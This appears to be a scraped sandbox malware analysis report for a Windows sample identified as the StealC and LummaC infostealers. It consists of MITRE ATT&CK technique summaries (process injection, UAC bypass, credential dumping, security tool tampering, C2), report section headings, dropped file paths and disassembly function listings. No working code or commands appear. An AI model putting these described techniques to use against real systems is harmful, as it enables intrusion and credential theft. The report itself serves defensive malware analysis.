Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report U8mbM8r793.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\IC79VITF07QUR284C1B5QWCEACP3.exe.log

C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe

C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
U8mbM8r793.exe

Function 006AB0AC Relevance: 4.6, APIs: 3, Instructions: 88
registryCOMMON

Function 0069DF99 Relevance: 1.6, APIs: 1, Instructions: 102
libraryCOMMON

Function 0069DE68 Relevance: 1.6, APIs: 1, Instructions: 95
libraryCOMMON

Function 04E20D41 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 04E20D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04E21509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Function 04E21510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 04E21301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 04E21308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 006ABFE6 Relevance: 1.5, APIs: 1, Instructions: 36
libraryCOMMON

Function 0051E6F5 Relevance: 1.3, APIs: 1, Instructions: 50
memoryCOMMON

Function 0051F1B6 Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre